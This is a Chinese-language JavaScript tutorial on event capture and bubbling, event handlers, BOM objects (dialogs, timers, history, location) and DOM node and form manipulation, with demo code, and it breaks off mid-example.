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          事件的捕獲和冒泡

          事件的捕獲和冒泡

          考API地址:https://developer.mozilla.org/zh-CN/docs/Web/API/EventTarget/addEventListener#%E8%AF%AD%E6%B3%95

          添加一個監聽事件,首先我們看一下API的語法如下

          addEventListener(type, listener);
          addEventListener(type, listener, options);
          addEventListener(type, listener, useCapture);
          

          常用到的是第一個和第三個因為,useCapture默認值是false

          useCapture 可選

          一個布爾值,表示在 DOM 樹中注冊了 listener 的元素,是否要先于它下面的 EventTarget 調用該 listener。當 useCapture(設為 true)時,沿著 DOM 樹向上冒泡的事件不會觸發 listener。當一個元素嵌套了另一個元素,并且兩個元素都對同一事件注冊了一個處理函數時,所發生的事件冒泡和事件捕獲是兩種不同的事件傳播方式。事件傳播模式決定了元素以哪個順序接收事件。進一步的解釋可以查看 DOM Level 3 事件及 JavaScript 事件順序文檔。如果沒有指定,useCapture 默認為 false。

          這個值的作用有什么用呢?下面我開始了我的摸索和見解。廢話不多說開始上demo演示。

          <!DOCTYPE html>
          <html lang="zh-CN>
          <head>
              <meta charset=" UTF-8">
          <meta http-equiv="X-UA-Compatible" content="IE=edge">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>Document</title>
          <style>
              div {
                  padding: 15px;
                  border: 1px solid #e5f3fe;
                  position: relative;
                  overflow: hidden;
              }
          
              span {
                  background-color: #f2f1f1;
                  padding: 8px 15px;
                  margin: 15px;
                  display: inline-block;
              }
          
              .description {
                  font-size: 22px;
                  font-weight: 600;
              }
          </style>
          </head>
          
          <body>
              <p class="description">
                  ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
              </p>
              <label>
                  <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
                  useCapture=false
              </label>
              <label>
                  <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
                  useCapture=true
              </label>
              
              <div title="節點1">
                  <span>節點1</span>
                  <div title="節點2">
                      <span>節點2</span>
                  </div>
              </div>
          
              <script>
                  //  個人總結:false的話 就是事件冒泡了 從子元素到父元素
                  // true的話   就是事件捕獲 從父到子!
                  let useCapture=false
                  // 添加事件
                  function bindEvent() {
                      const targets=document.querySelectorAll('div')
                      targets.forEach(element=> {
                          element.addEventListener('click', handleClick, useCapture)
                      });
                  }
                  // 移除事件
                  function removeEvent() {
                      const targets=document.querySelectorAll('div')
                      targets.forEach(element=> {
                          element.removeEventListener('click', handleClick, useCapture)
                      });
                  }
                  // div click handle
                  function handleClick(event){
                      // event.stopPropagation()
                      alert(this.getAttribute('title'))
                  }
                  // 處理 radio change
                  function radioChange(checked) {
                      removeEvent()             
                      console.log('radioChange')
                      console.log(checked)
                      useCapture=checked=="true" ? true : false
                      bindEvent()
                  }
                  // 執行綁定事件
                  bindEvent()
              </script>
          </body>
          
          </html>

          demo運行起來是這樣的效果

          demo運行起來是這樣的效果


          我們發現當div或者出發事件的元素存在嵌套的情況下,這個是控制事件的執行順序的。useCapture=false默認是冒泡,冒泡怎么理解呢就是水里的泡泡往上冒么,那么就是從子元素王父元素執行。

          Capture=true就是捕獲點擊一下先相應父級元素的事件,然后傳遞到子元素。也就是先執行父的事件在執行子的事件。

          還有一個就是阻止事件冒泡的 event.stopPropagation();

          API文檔地址:https://developer.mozilla.org/zh-CN/docs/Web/API/Event/stopPropagation

          我們改動一下我們的DEMO再看看

          <!DOCTYPE html>
          <html lang="zh-CN>
          <head>
              <meta charset=" UTF-8">
          <meta http-equiv="X-UA-Compatible" content="IE=edge">
          <meta name="viewport" content="width=device-width, initial-scale=1.0">
          <title>Document</title>
          <style>
              div {
                  padding: 15px;
                  border: 1px solid #e5f3fe;
                  position: relative;
                  overflow: hidden;
              }
          
              span {
                  background-color: #f2f1f1;
                  padding: 8px 15px;
                  margin: 15px;
                  display: inline-block;
              }
          
              .description {
                  font-size: 22px;
                  font-weight: 600;
              }
          </style>
          </head>
          
          <body>
              <p class="description">
                  ok 兄弟你每次點擊“節點2” 就會發現這個參數的不同點了。是不是 它的觸發順序出現了不同 對 就是這樣的。
              </p>
              <label>
                  <input checked onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio2" value="false" />
                  useCapture=false
              </label>
              <label>
                  <input onchange="radioChange(this.value)" name="useCapture" type="radio" id="radio1" value="true" />
                  useCapture=true
              </label>
              
              <div title="節點1">
                  <span>節點1</span>
                  <div title="節點2">
                      <span>節點2</span>
                  </div>
              </div>
          
              <script>
                  //  個人總結:false的話 就是事件冒泡了 從子元素到父元素
                  // true的話   就是事件捕獲 從父到子!
                  let useCapture=false
                  // 添加事件
                  function bindEvent() {
                      const targets=document.querySelectorAll('div')
                      targets.forEach(element=> {
                          element.addEventListener('click', handleClick, useCapture)
                      });
                  }
                  // 移除事件
                  function removeEvent() {
                      const targets=document.querySelectorAll('div')
                      targets.forEach(element=> {
                          element.removeEventListener('click', handleClick, useCapture)
                      });
                  }
                  // div click handle
                  function handleClick(event){
                      event.stopPropagation()
                      alert(this.getAttribute('title'))
                  }
                  // 處理 radio change
                  function radioChange(checked) {
                      removeEvent()             
                      console.log('radioChange')
                      console.log(checked)
                      useCapture=checked=="true" ? true : false
                      bindEvent()
                  }
                  // 執行綁定事件
                  bindEvent()
              </script>
          </body>
          
          </html>

          發現事件觸發了以后,就不再冒泡或者繼續往子元素傳遞了。這是我的理解和簡介歡迎大家拍磚。


          要內容

          事件

          事件 (Event) 是 JavaScript 應用跳動的心臟 ,進行交互,使網頁動起來。當我們與瀏覽器中 Web 頁面進行某些類型的交互時,事件就發生了。事件可能是用戶在某些內容上的點擊、鼠標經過某個特定元素或按下鍵盤上的某些按鍵。事件還可能是 Web 瀏覽器中發生的事情,比如說某個 Web 頁面加載完成,或者是用戶滾動窗口或改變窗口大小。

          ? 通過使用 JavaScript ,你可以監聽特定事件的發生,并規定讓某些事件發生以對這些事件做出響應。

          作用

          (1)驗證用戶輸入的數據。
          (2)增加頁面的動感效果。
          (3)增強用戶的體驗度
          

          事件中的幾個名詞

          事件源: 誰觸發的事件
          事件名: 觸發了什么事件
          事件監聽: 誰管這個事情,誰監視?
          事件處理:發生了怎么辦
          

          例如

          闖紅燈		事件源:車 ;   事件名: 闖紅燈;    監聽:攝像頭、交警 ;     處理:扣分罰款 
          單擊按鈕   事件源:按鈕;   事件名: 單擊;     監聽:窗口 ;             處理:執行函數
          

          ? 當我們用戶在頁面中進行的點擊動作,鼠標移動的動作,網頁頁面加載完成的動作等,都可以稱之為事件名稱,即:click、mousemove、load 等都是事件名稱,具體的執行代碼處理,響應某個事件的函數。

          <body onload="loadWindow();"></body>
          <script>
          	function loadWindow(){
               	alert("加載窗體");
          	}
          </script>
          

          事件類型

          ? JavaScript可以處理的事件類型為:鼠標事件、鍵盤事件、HTML事件

          ? http://www.w3school.com.cn/tags/html_ref_eventattributes.asp 用+查

          ? Window 事件屬性:針對 window 對象觸發的事件(應用到 標簽)

          ? Form 事件:由 HTML 表單內的動作觸發的事件(應用到幾乎所有 HTML 元素,但最常用在 form 元素中)

          ? Keyboard 事件 : 鍵盤事件

          ? Mouse 事件:由鼠標或類似用戶動作觸發的事件

          ? Media 事件:由媒介(比如視頻、圖像和音頻)觸發的事件(適用于所有 HTML 元素,但常見于媒介元素中,比如 、、、 以及 )

          ? 幾個常用的事件:

          ? onclick 、onblur 、onfocus 、onload 、onchange

          ? onmouseover、onmouseout、onkeyup、onkeydown

          onload:當頁面或圖像加載完后立即觸發
          
          onblur:元素失去焦點
          
          onfocus:元素獲得焦點
          
          onclick:鼠標點擊某個對象
          
          onchange:用戶改變域的內容
          
          onmouseover:鼠標移動到某個元素上
          
          onmouseout:鼠標從某個元素上離開
          
          onkeyup:某個鍵盤的鍵被松開
          
          onkeydown:某個鍵盤的鍵被按下
          

          事件流和事件模型

          ? 我們的事件最后都有一個特定的事件源,暫且將事件源看做是HTML的某個元素,那么當一個HTML元素產生一個事件時,該事件會在元素節點與根節點之間按特定的順序傳播,路徑所經過的節點都會受到該事件,這個傳播過程稱為DOM事件流。

          ? 事件順序有兩種類型:**事件捕獲 **和 事件冒泡

          ? 冒泡和捕獲其實都是事件流的不同表現,這兩者的產生是因為IE和Netscape兩個大公司完全不同的事件流概念產生的。(事件流:是指頁面接受事件的順序)IE的事件流是事件冒泡,Netscape的事件流是事件捕獲流。

          事件冒泡

          ? IE的事件流叫做事件冒泡,即事件開始時由最具體的元素接受,然后逐級向上傳播到較為不具體的節點(文檔)。例如下面的:

          <!DOCTYPE html>
          <html>
          	<head>
          		<meta charset="UTF-8">
          		<title>JavaScript</title>
          	</head>
          	<body>
          		<div id="myDiv">Click me</div>
          	</body>
          </html>
          

          ? 如果點擊了頁面中的

          元素,那么這個click事件會按照如下順序傳播:


          ? 1、


          ? 2、

          ? 3、

          ? 4、document

          ? 也就是說,click事件首先在div元素上發生,而這個元素就是我們單擊的元素。然后,click事件沿DOM樹向上傳播,在每一級節點上都會發生,直到傳播到document對象。

          ? 所有現代瀏覽器都支持事件冒泡,但在具體實現上還是有一些差別。

          事件捕獲

          ? Netscape提出的另一種事件流叫做事件捕獲,事件捕獲的思想是不太具體的節點應該更早接收到事件,而最具體的節點應該最后接收到事件。事件捕獲的用意在于在事件到達預定目標之前捕獲它。還以前面的例子為例。那么單擊

          元素就會按下列順序觸發click事件:


          ? 1、document

          ? 2、

          ? 3、

          ? 4、


          ? 在事件捕獲過程中,document對象首先接收到click事件,然后沿DOM樹依次向下,一直傳播到事件的實際目標,即

          元素。


          ? 雖然事件捕獲是Netscape唯一支持的事件流模式,但很多主流瀏覽器目前也都支持這種事件流模型。盡管“DOM2級事件”規范要求事件應該從document對象開始時傳播,但這些瀏覽器都是從window對象開始捕獲的。

          DOM 事件流

          ? “DOM2級事件”規定的事件流包括三個階段:事件捕獲階段、處于目標階段和事件冒泡階段。首先發生的是事件捕獲階段,為截獲事件提供了機會。然后是實際的目標接收到事件。最后一個階段是冒泡階段,可以在這個階段對事件做出響應。

          [外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-8WOxp342-1608883565334)(/圖片1dfgh.png)]

          事件處理程序

          ? 事件就是用戶或瀏覽器自身執行的某種動作。例如click、load和mouseover都是事件的名字,而響應某個事件的函數就叫做事件處理程序(或事件偵聽器)。事件處理程序的名字以“on”開頭,因此click事件的事件處理程序就是onclick,為事件指定處理程序的方式有好幾種。

          HTML 事件處理程序

          ? 某個元素支持的每種事件,都可以用一個與相應事件處理程序同名的HTML特性來指定。這個特性的值應該是能夠執行的JavaScript代碼:

          <input type="button" value="Press me" onclick="alert('thanks');" />
          

          ? 這樣做有一些缺點,例如耦合度過高,還可能存在時差問題(當用戶點擊按鈕時,處理函數還未加載到,此時處理函數是單獨寫的一段js代碼),而且在不同的瀏覽器上可能會有不同的效果。

          DOM0 級事件處理程序

          ? 通過JavaScript指定事件處理程序的傳統方式,就是將一個函數賦值給一個事件處理程序屬性。這種方式被所有現代瀏覽器所支持。這種方式首先必須取得一個要操作的對象的引用,每個元素都有自己的事件處理程序屬性,這些屬性通常全都小寫,例如onclick,然后將這種屬性的值設為一個函數,就可以指定事件處理程序了。例如:

          <body>
              <button id="myBtn">按鈕</button>
              <script type="text/javascript">
                  var btn=document.getElementById('myBtn');
                  btn.onclick=function(){
                      console.log('you click a button');
                  }
              </script>
          </body>
          

          ? 以這種方式添加的事件處理程序會在事件流的冒泡階段被處理。而且,只能為同一個元素的同一個事件設定一個處理程序(覆蓋),也可以通過刪除DOM0級方法指定的事件處理程序,只要將屬性值設為null即可:

          btn.onclick=null;
          

          DOM2 級事件處理程序

          ? “DOM2級事件”定義了兩個方法,用于處理指定和刪除事件處理程序的操作:addEventListener()和removeEventListener()。所有DOM節點都包含這兩個方法,并且他們都接受3個參數:要處理的事件名、作為事件處理程序的函數和一個布爾值。最后這個布爾值參數如果是true,則表示在捕獲階段調用事件處理程序;如果是false則表示在冒泡階段調用事件處理程序。

          <body>
              <button id="myBtn">按鈕</button>
              <script type="text/javascript">
                  var btn=document.getElementById('myBtn')
                  btn.addEventListener('click',function(){
                      alert('you add a eventListener by DOM2')
                  },false)
          
                  btn.addEventListener('click',function(){
                      alert('you add a eventListener by DOM2 again')
                  },false)
          
                  function thread(){
                      alert('you add a eventListener by DOM2 第三次')
                  }
                  btn.addEventListener('click',thread,false)
                  btn.removeEventListener('click',thread,false)
              </script>
          </body>
          

          ? 這種方式可以為同一個元素的同一個事件添加多個處理函數。還可刪除事件處理函數,注意,在刪除的時候,不能刪除匿名處理函數。

          本節作業

          1. 常用的幾種事件
          2. 綁定事件的幾種方式
          

          BOM對象

          ? BOM的核心對象是window,它表示瀏覽器的一個實例。window對象有雙重角色,它既是通過JavaScript訪問瀏覽器窗口的一個接口,又是ECMAScript規定的Global對象。這意味著在網頁中定義的任何一個對象、變量和函數,都以window作為其Global對象,因此有權訪問parseInt()等方法。如果頁面中包含框架,則每個框架都擁有自己的window對象,并且保存在frames集合中。在frames集合中,可以通過數值索引(從0開始,從左至右,從上到下)或者框架的名稱來訪問相應的window對象。

          Window對象方法

          系統對話框

          ? 瀏覽器通過(實際是window對象的方法)alert()、confirm()、prompt()方法可以調用系統對話框向用戶顯示消息。

          (1)消息框:alert, 常用。
              alert() 方法用于顯示帶有一條指定消息和一個 OK 按鈕的警告框。
          (2)輸入框:prompt,返回提示框中的值。
              prompt() 方法用于顯示可提示用戶進行輸入的對話框。
              參數(可選):
                 第一個參數:要在對話框中顯示的純文本。
           	   第二個參數:默認的輸入文本。
          (3)確認框:confirm,返回 true/false.
          confirm() 方法用于顯示一個帶有指定消息和 OK 及取消按鈕的對話框。
          
          <style type="text/css">
          	#aa{
          		border: 1px solid red;
          		height: 100px;
          	}
          </style>
          <body>
          	<div id="aa">
          		This is a div
          	</div>
          	<button onclick="testAlert();">警告</button>
          	<button onclick="testComfirm();">修改</button>
          	<button onclick="testPrompt();">輸入</button>
          	<script type="text/javascript">
          		// 1.警告框
          		function testAlert(){
          			alert('警告框!!!');
          		}			
          	
                  /*
          		 2.輸入框
          		 	返回值:輸入的內容
          		 * */
          		function testPrompt(){
          			var item=prompt('請輸入年齡'); // item得到輸入的值
          			// console.log(item)
          			// alert(prompt('請輸入年齡',18)); // 將輸入的值輸出
          		}
                  
          		/*
          		 3.確認框
          		 	返回值:boolean(true|false)
          		 * */
          		function testComfirm(){
          			var result=confirm('真的要改嗎?');
          			if(result){
          				var ele=document.getElementById("aa");
          				ele.style.color="red";
          				ele.innerHTML="<span>fdsfsd</span>";
          			}else{
          				alert("沒事別瞎點。。。");
          			}
          		}
          	</script>
          </body>
          

          打開窗口

          ? window.open()方法既可以導航到一個特定的URL也可以用來打開一個新的窗口

          <script type="text/javascript">
          function openBaidu(){
          	window.open('http://www.baidu.com','_self'); // _self、_blank等
          	// window.open();		//空白窗口
          }
          </script>
          <input type="button" name="open" value="百度" onclick='openBaidu();' />
          

          關閉窗口

          ? window.close():關閉窗口。

          ? 例:點擊按鈕關閉當前窗口。

          <input type="button" value="關閉窗口" onclick="window.close();" />
          

          時間函數

          setTimeout()

          ? setTimeout() : 在指定的毫秒數后調用函數或計算表達式。返回一個唯一的標識;也可以通過返回的標識cliearTimeout(id): 來清除指定函數的執行。

          var id=setTimeout(function,times);
          
          clearTimeout(id);
          

          示例:

          <script type="text/javascript">
          	// 延遲3 秒后出現 alert
          	function hello() { 
          		  alert("對不起, 要你久候"); 
          	}
          	setTimeout("hello()", 3000);
              
              // 時間顯示器
          	var timeout;
              function init(){
          		   // 拿到當前時間
          		   var date=new Date();
          		   var time=date.toLocaleString();
          		   // 拿到相應對象
          	  	   var h1=document.getElementById('h1');
          		   // 根據需求添加樣式
          		   if(0==date.getSeconds()){	// 當時間的秒數變成0時,顯示紅色字體
          			   h1.innerHTML='<span style="color:red">' + time + '</span>';
          		   } else {
          			   h1.innerHTML=time;
          		   }
          		   /*
          		    * 	定時操作,只執行一次
          		 	    第一個參數:執行的方法;第二個參數:定時,單位是毫秒
          		    * */
          		    setTimeout(init,1000);   // 等多少時間來執行
          	}
          	// window.setTimeout(init,1000);// 只執行一次		
          	// 停止操作
          	function stopShow () {
                  clearTimeout(timeout);
              }
          </script>
          <body onload="init();">
          	<h1 id="h1"></h1>
              <button onclick="stopShow()">時間停止</button>
          </body>
          

          ? 在times毫秒后執行function指定的方法,執行之前也可以取消

          setInteval()

          ? setInterval():可按照指定的周期(以毫秒計)來調用函數或計算表達式,也可根據返回的標識用來結束。該方法會不停地調用函數,直到 clearInterval() 被調用或窗口被關閉。

          var id=setInterval(function,times);
          
          clearInterval(id);
          
          function test(){
          	console.log(".....");
          }
          // window是一個全局對象,通過全局對象調用setInterval()函數
          window.setInterval(test,1000);
          

          history對象

          ? history 對象是歷史對象。包含用戶(在瀏覽器窗口中)訪問過的 URL。history 對象是 window 對象的一部分,可通過 window.history 屬性對其進行訪問。

          ? history對象的屬性:length,返回瀏覽器歷史列表中的 URL 數量。

          ? history對象的方法:

          ? back():加載 history 列表中的前一個 URL。

          ? forward():加載歷史列表中的下一個 URL。當頁面第一次訪問時,還沒有下一個url。

          ? go(number|URL): URL 參數使用的是要訪問的 URL。而 number 參數使用的是要訪問的 URL 在 History 的 URL 列表中的相對位置。go(-1),到上一個頁面

          013-history.html

          <body>
          	<a href="013-history-a.html">013-history-a.html</a>
          	<h1>我是第一個頁面</h1>
              <input type="button"  value="前進" onclick="window.history.forward();" />
              <script>
                  console.log(window.history);
              </script>
          </body>
          

          013-history-a.html

          <body>
          	<a href="013-history-b.html">013-history-b.html</a>
          	<h1>我是A頁面</h1>
          	<input type="button" value="后退"  onclick="window.history.back();"/>
          </body>
          

          013-history-b.html

          <body>
          	  <h1>我是B頁面</h1>
          	  <input type="button" value="第一個頁面" onclick="window.history.go(-2);"/>
          	  <input type="button" value="后退"  onclick="window.history.back();"/>
          </body>
          

          location對象

          ? location 對象是window對象之一,提供了與當前窗口中加載的文檔有關的信息,還提供了一些導航功能。也可通過 window.location 屬性來訪問。

          ? location 對象的屬性 href:設置或返回完整的 URL

          ? location 對象的方法

          ? reload():重新加載當前文檔。

          ? replace():用新的文檔替換當前文檔。

          <script type="text/javascript">
          	function openBaidu(){
                  // 沒有歷史記錄,用新的文檔替換當前文檔
          		// window.location.replace("http://www.baidu.com");
          		// console.log(window.location.href); // 獲取完整的url
          		window.location.href="http://www.baidu.com";
          	}
          </script>
          <body>
          	<input type="text"  value="" />
          	<input type="button" value="刷新" onclick="window.location.reload();" />
          	<input type="button"  value="百度" onclick="openBaidu();" />
          </body>
          

          本節作業

          1. 實現時間計時功能
          2. JS的跳轉方式

          DOM對象

          ? DOM:Document Object Model 文檔對象模型

          ? 要實現頁面的動態交互效果,bom 操作遠遠不夠,需要操作 html 才是核心。如何操作 htm,就是 DOM。簡單的說,dom 提供了用程序動態控制 html 接口。DOM即文檔對象模型描繪了一個層次化的節點樹,運行開發人員添加、移除和修改頁面的某一部分。dom 處于javascript 的核心地位上。

          ? 每個載入瀏覽器的 HTML 文檔都會成為 Document 對象。Document 對象使我們可以從腳本中對 HTML 頁面中的所有元素進行訪問。Document 對象是 Window 對象的一部分,可通過 window.document 屬性對其進行訪問。

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          節點

          ? 加載 HTML 頁面時,Web 瀏覽器生成一個樹型結構,用來表示頁面內部結構。DOM 將這種樹型結構理解為由節點組成,組成一個節點樹。對于頁面中的元素,可以解析成以下幾種類型的節點:

          節點類型HTML內容例如文檔節點文檔本身整個文檔 document元素節點所有的HTML元素、、


          屬性節點HTML元素內的屬性id、href、name、class文本節點元素內的文本hello注釋節點HTML中的注釋

          ? html --> 文檔節點

          ? div --> 元素節點

          ? title --> 屬性節點

          ? 測試 Div --> 文本節點

          <html>
              <head>
                  <title>樹!樹!到處都是樹!</title>
              </head>
              <body>
                <div title="屬性節點">測試 Div</div>
              </body>
          </html>
          

          [外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-AVMijlup-1608883565345)(/圖片1fdgfh.png)]

          操作元素的節點

          ? 當HTML文檔在被解析為一顆DOM樹以后,里面的每一個節點都可以看做是一個一個的對象,我們稱為DOM對象,對于這些對象,我們可以進行各式各樣的操作,查找到某一個或者一類節點對象,可以創建某種節點對象,可以在某個位置添加節點對象,甚至可以動態地刪除節點對象,這些操作可以使我們的頁面看起來有動態的效果,后期結合事件使用,就能讓我們的頁面在特定時機、特定的事件下執行特定的變換。

          獲取節點

          ? 在進行增、刪、改的操作時,都需要指定到一個位置,或者找到一個目標,此時我們就可以通過Document對象提供的方法,查找、定位某個對象(也就是我們說的節點)。

          ? 注意:操作 dom 必須等節點初始化完畢后,才能執行。

          ? 處理方式兩種:

          ? (1)把 script 調用標簽移到html末尾即可;

          ? (2)使用onload事件來處理JS,等待html 加載完畢再加載 onload 事件里的 JS。

          window.onload=function () { //預加載 html 后執行};
          

          ? 獲取方式如下:

          方法描述getElementById()根據id獲取dom對象,如果id重復,那么以第一個為準getElementsByTagName()根據標簽名獲取dom對象數組getElementsByClassName()根據樣式名獲取dom對象數組getElementsByName()根據name屬性值獲取dom對象數組,常用于多選獲取值

          <body>
          	<p id="p1" class="para">這是一個段落<span>文本</span></p>
          	<p id="p1" class="para">這又是一個段落</p>
          	<input type="text" name="txt" />
          	<input type="checkbox" name="hobby" value="游泳" />游泳
          	<input type="checkbox" name="hobby" value="籃球" />籃球
          	<input type="checkbox" name="hobby" value="足球" />足球
          	<hr />
          	<a href="javascript:void(0)" onclick="testById()">按照id獲取</a>
          	<a href="javascript:void(0)" onclick="testByName()">按照name獲取</a>
          	<a href="javascript:void(0)" onclick="testByTagName()">按照標簽名獲取</a>
          	<a href="javascript:void(0);" onclick="testByClass();">按照class獲取</a>
          </body>
          

          ? 說明:href=“javascript:void(0)”:偽協議,表示不執行跳轉,而執行指定的點擊事件。

          <script type="text/javascript">
          	// 按照id獲取元素
          	function testById() {
          		// 返回單個對象
          		var p=document.getElementById("p1");
          		console.log(p);
          		// 表示獲取元素開始標簽和結束標簽之間的html結構
          		console.log(p.innerHTML); 			
          		console.log(p.innerText); // 表示獲取標簽之間的普通文本
          	}
          
          	// 按照name獲取元素
          	function testByName() {
          		// 對象數組
          		var ho=document.getElementsByName("hobby");
          		console.log(ho);
          		for(var i=0; i <=ho.length - 1; i++) {
          			console.log(ho[i].value);
          		}
          	}
          
          	// 按照標簽名獲取元素
          	function testByTagName() {
          		// 對象數組
          		var inputArr=document.getElementsByTagName("input");
          		for(var i=0; i < inputArr.length; i++) {
          			if(inputArr[i].type=="text") {
          				console.log("text類型");
          			} else if(inputArr[i].type=="checkbox") {
          				if(inputArr[i].checked) {
          					console.log(inputArr[i].value);
          				}
          			}
          		}
          	}
          
          	// 按照class屬性獲取元素
          	function testByClass() {
          		// 對象數組
          		var ps=document.getElementsByClassName("para");
          		console.log(ps[0].innerHTML);
          		ps[0].innerHTML +="這是一段新的文本";
          	}
          </script>
          

          創建節點和插入節點

          ? 很多時候我們想要在某個位置插入一個新的節點,此時我們首先需要有一個節點存在,可以通過以下幾種方式創建新節點。

          創建節點

          方法描述createElement()創建一個新的節點,需要傳入節點的標簽名稱,返回創建的元素對象createTextNode()創建一個文本節點,可以傳入文本內容innerHTML也能達到創建節點的效果,直接添加到指定位置了

          插入節點

          方法描述write()將任意的字符串插入到文檔中appendChild()向元素中添加新的子節點,作為最后一個子節點insertBefore()向指定的已有的節點之前插入新的節點newItem:要插入的節點exsitingItem:參考節點 需要參考父節點

          <button onclick="add()">添加段落</button>
          <div id="container"></div>
          		
          <script type="text/javascript">
          	function add(){
          	    var container=document.getElementById('container')
          	    var paragraph=document.createElement('p');
          	    var txt=document.createTextNode('hello')
          	    paragraph.appendChild(txt)
          	    container.appendChild(paragraph)
          }
          </script>
          

          添加 “段落、圖片、文本框、選項”

          <body>
          	<button onclick="addPara();">添加段落</button>
          	<button onclick="addImg();">添加圖片</button>
          	<button onclick="addTxt();">添加文本框</button>
          	<button onclick="addOptions()">添加選項</button> 
          	<select name="music">
          		<option value="-1">你心內的一首歌</option>
          		<option value="0">南山南</option>
          		<option value="1">喜歡你</option>
          	</select>
          	<hr />
          	<div id="container"></div>
          </body>
          
          <script type="text/javascript">	
          	// 添加p節點
          	function addPara(){
          		// 獲取容器
          		var container=document.getElementById("container");
          		// 創建段落<p></p>
          		var p=document.createElement('p');  	
          		// 第一種方式
          		// 創建文本節點
          		var txt=document.createTextNode("以后的你會感謝現在努力的你");
          		// 將txt節點追加到p節點中
          		p.appendChild(txt);
          		// 將p節點追加到container節點中
          		container.appendChild(p);		
          		/*
          		// 第二種方式
          		// 向p節點中添加內容
          		p.innerHTML="以后的你會感謝現在努力的你";
          		// 將p節點追加到container節點中
          		container.appendChild(p);
          		*/	
          		/*
          		// 第三種方式
          		// 將字符串類型的p標簽內容添加到container中,不會添加多次
          		var str="<p>以后的你會感謝現在努力的你</p>";
          		container.innerHTML=str;
          		*/
          	}	
              
          	// 添加圖片
          	function addImg(){
          		// 創建圖片
          		var img=document.createElement("img") ;			
          		/*
          		// 設置屬性第一種方式
          		// 設置img標簽的src屬性
          		// img.src="http://www.baidu.com/img/bd_logo1.png";
          		*/		
          		// 設置屬性第二種方式
          		// setAttribute() 方法添加指定的屬性,并為其賦指定的值。
          		// 設置img的src屬性
          		img.setAttribute('src','http://www.baidu.com/img/bd_logo1.png');
          		img.style.width='300px';		
          		img.style.height='200px';			
          		// 獲取容器
          		var container=document.getElementById("container");
          		// 將img節點追加到container中。
          		container.appendChild(img);
          	}	
              
          	// 添加文本框
          	function addTxt(){
          		// 創建文本框
          		var txt=document.createElement("input");	
          		/*
          		// 設置類型第一種方式
          		txt.type="text"; 
          		txt.value="添加成功";
          		*/
          		// 設置類型第二種方式
          		txt.setAttribute('type', 'text');
          		txt.setAttribute('value', '添加成功');
          		/*
          		 * txt.type='password'
          		 * txt.value='123'
          		 */
          		// 獲取容器
          		var container=document.getElementById("container");
          		// 將txt節點追加到container中。
          		container.appendChild(txt);
          	}
              
          	// 添加下拉框的選項			
          	function addOptions(){
          		// 第一種方式
          		/*
          		// 創建下拉項
          		var option=document.createElement("option") ;
          		option.value="2" ;
          		option.text="油菜花" ;
          		// 獲取下拉框
          		var sel=document.getElementsByTagName("select")[0];
          		// 添加 下拉項 
          		sel.appendChild(option);
          		*/					
          		// 第二種方式:
          		var option=document.createElement("option") ;
          		option.value="2" ;
          		option.text="不該" ;
          		// 獲取下拉框
          		var sel=document.getElementsByTagName("select")[0];
          		// 添加下拉項
          		sel.options.add(option);		
          		// 第三種方式: 添加下拉項
          		var sel=document.getElementsByTagName("select")[0];
          		sel.innerHTML +="<option value='2'>英雄</option>" ;
          	}			
          </script>
          

          間接查找節點

          方法|屬性描述childNodes返回元素的一個子節點的數組firstChild返回元素的第一個子節點lastChild返回元素的最后一個子節點nextSibling返回元素的下一個兄弟節點parentNode返回元素的父節點previousSibling返回元素的上一個兄弟節點

          刪除節點

          方法|屬性描述removeChild()從元素中移除子節點

          <script type="text/javascript">
          	function delNode(){
          		var programmer=document.getElementById("programmer");
          		// 從父元素中刪除節點,獲取要刪除對象的父元素,然后從父元素中刪除該對象
          		programmer.parentNode.removeChild(programmer);
          	}
          </script>
          <body>
          	<span id="programmer">程序猿</span>
          	<a href="javascript:void(0)" onclick="delNode();">刪除</a>
          </body>
          

          表單

          ? 表單是我們頁面向后臺傳輸數據的一種非常常見的方式,在進行數據發送(請求發出)之前,我們應該現在頁面進行一系列數據合法性的驗證,節省不必要的錯誤數據的傳輸,以及提高用戶的體驗度。

          獲取表單

          前兩種常用

          1、document.表單名稱
          2、document.getElementById(表單 id);
          3、document.forms[表單名稱]
          4、document.forms[索引]; //從 0 開始
          

          例如:

          <body>
          	<form id='myform' name="myform" action="" method="post"></form>
          	<form id='myform2' name="myform2" action="" method="post"></form>
          </body>
          <script>
          	//四種方式
          	var form=document.getElementById("myform");
          	form=document.myform;
          	form=document.forms["myform"];
          	form=document.forms[0];
          	console.log(form);
          </script>
          

          獲取表單元素

          獲取input元素

          ? 如 text password hidden textarea等,前兩種常用。

          1)、通過 id 獲取:document.getElementById(元素 id);
          2)、通過 form.名稱形式獲取: myform.元素名稱;    name屬性值
          3)、通過 name 獲取 :document.getElementsByName(name屬性值)[索引] // 從0開始
          4)、通過 tagName 數組 :document.getElementsByTagName('input')[索引] // 從0開始
          
          <body>
          	<form id='myform' name="myform" action="" method="get">		
          		姓名:<input type="text" id="uname" name="uname" value="zs"/><br />
          		密碼:<input type="password" id="upwd" name="upwd" value="1234"/><br />
          		<input type="hidden" id="uno" name="uno" value="隱藏域" />
          		個人說明:<textarea name="intro"></textarea>
          		<button type="button" onclick="getTxt();" >獲取元素內容</button>
          	</form>
          </body>
          <script>
          	function getTxt(){
          		var uno=document.getElementById("uno");
          		var uname=myform.uname;
          		console.log(uname + "--------");
          		var upwd=document.getElementsByTagName('input')[1] ;
          		var intro=document.getElementsByName("intro")[0];				
          		console.log(uno.value +","+ uname.value +","+ upwd.value +","+ intro.value);
          	}
          </script>
          

          獲取單選按鈕

          ? 前提:將一組單選按鈕設置相同的name屬性值

          ? (1)獲取單選按鈕組:

          document.getElementsByName("name屬性值");
          
          (2)遍歷每個單選按鈕,并查看單選按鈕元素的checked屬性
          

          ? 若屬性值為true表示被選中,否則未被選中

          ? 選中狀態設定: checked=‘checked’ 或 checked=‘true’ 或 checked

          ? 未選中狀態設定: 沒有checked屬性 或 checked=‘false’

          <form action="" name="myform">
          	<input type="text" name="inputName" value="aaa" />
          	<input type="radio" name="rad" value="1" />	1
          	<input type="radio" name="rad" value="2"  /> 2
          </form>
          		
          <script type="text/javascript">
          	var radios=document.getElementsByName('rad');
